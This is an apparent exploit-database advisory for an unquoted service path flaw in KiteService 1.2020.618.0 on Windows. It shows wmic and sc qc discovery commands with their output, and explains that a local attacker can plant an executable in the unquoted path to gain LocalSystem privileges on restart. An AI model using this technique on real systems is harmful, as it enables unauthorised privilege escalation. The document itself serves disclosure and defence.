Kiteservice 1.2020.618.0 unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-06-26 | Type : local | Platform : windows


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# Exploit Title: KiteService 1.2020.618.0 - Unquoted Service Path
# Discovery by: PoisonSk
# Discovery Date: 2020-06-23
# Vendor Homepage: https://www.kite.com/
# Software Link : https://www.kite.com/download/
# Tested Version: 1.2020.618.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows 10 Home Single 10.0.18363 N/D Compilación 18363



# Steps to discover unquoted Service Path:

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i "program " | findstr /i /v """
KiteService KiteService C:\Program Files\Kite\KiteService.exe Auto




C:\Users>sc qc KiteService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: KiteService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Kite\KiteService.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : KiteService
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem



# Exploit:
#A successful attempt would require the local attacker must insert an executable file in the path of the service.
#Upon service restart or system reboot, the malicious code will be run with elevated privileges.